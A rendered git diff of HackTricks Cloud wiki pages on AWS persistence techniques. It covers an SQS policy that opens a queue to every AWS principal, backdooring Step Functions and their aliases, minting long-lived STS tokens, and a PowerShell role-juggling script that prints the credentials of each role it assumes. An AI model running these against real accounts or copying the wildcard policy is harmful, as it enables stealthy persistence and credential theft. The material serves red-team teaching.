In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
|
||||
The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**:
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SQS:*"
|
||||
],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,2 @@
|
||||
# AWS - SSM Perssitence
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
# AWS - Step Functions Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Step Functions
|
||||
|
||||
For more information check:
|
||||
|
||||
{% content-ref url="../aws-services/aws-stepfunctions-enum.md" %}
|
||||
[aws-stepfunctions-enum.md](../aws-services/aws-stepfunctions-enum.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Step function Backdooring
|
||||
|
||||
Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps.
|
||||
|
||||
### Backdooring aliases
|
||||
|
||||
If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,158 @@
|
||||
# AWS - STS Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## STS
|
||||
|
||||
For more information access:
|
||||
|
||||
{% content-ref url="../aws-services/aws-sts-enum.md" %}
|
||||
[aws-sts-enum.md](../aws-services/aws-sts-enum.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Assume role token
|
||||
|
||||
Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence.
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
|
||||
|
||||
# With MFA
|
||||
aws sts get-session-token \
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
|
||||
# Hardware device name is usually the number from the back of the device, such as GAHT12345678
|
||||
<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
|
||||
</code></pre>
|
||||
|
||||
### Role Chain Juggling
|
||||
|
||||
[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials.
|
||||
|
||||
You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
|
||||
|
||||
```bash
|
||||
./aws_role_juggler.py -h
|
||||
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
```
|
||||
|
||||
{% hint style="danger" %}
|
||||
Note that the [find\_circular\_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured.
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Code to perform Role Juggling from PowerShell</summary>
|
||||
|
||||
```powershell
|
||||
# PowerShell script to check for role juggling possibilities using AWS CLI
|
||||
|
||||
# Check for AWS CLI installation
|
||||
if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) {
|
||||
Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
|
||||
exit
|
||||
}
|
||||
|
||||
# Function to list IAM roles
|
||||
function List-IAMRoles {
|
||||
aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
|
||||
}
|
||||
|
||||
# Initialize error count
|
||||
$errorCount = 0
|
||||
|
||||
# List all roles
|
||||
$roles = List-IAMRoles | ConvertFrom-Json
|
||||
|
||||
# Attempt to assume each role
|
||||
foreach ($role in $roles) {
|
||||
$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($credentials) {
|
||||
Write-Host "Successfully assumed role: $($role.RoleName)"
|
||||
Write-Host "Access Key: $($credentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($credentials.SessionToken)"
|
||||
Write-Host "Expiration: $($credentials.Expiration)"
|
||||
|
||||
# Set temporary credentials to assume the next role
|
||||
$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
|
||||
$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
|
||||
$env:AWS_SESSION_TOKEN = $credentials.SessionToken
|
||||
|
||||
# Try to assume another role using the temporary credentials
|
||||
foreach ($nextRole in $roles) {
|
||||
if ($nextRole.Arn -ne $role.Arn) {
|
||||
$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($nextCredentials) {
|
||||
Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
|
||||
Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($nextCredentials.SessionToken)"
|
||||
Write-Host "Expiration: $($nextCredentials.Expiration)"
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Reset environment variables
|
||||
Remove-Item Env:\AWS_ACCESS_KEY_ID
|
||||
Remove-Item Env:\AWS_SECRET_ACCESS_KEY
|
||||
Remove-Item Env:\AWS_SESSION_TOKEN
|
||||
} else {
|
||||
$errorCount++
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
}
|
||||
|
||||
# Output the number of errors if any
|
||||
if ($errorCount -gt 0) {
|
||||
Write-Host "$errorCount error(s) occurred during role assumption attempts."
|
||||
} else {
|
||||
Write-Host "No errors occurred. All roles checked successfully."
|
||||
}
|
||||
|
||||
Write-Host "Role juggling check complete."
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
Reference in New Issue
Block a user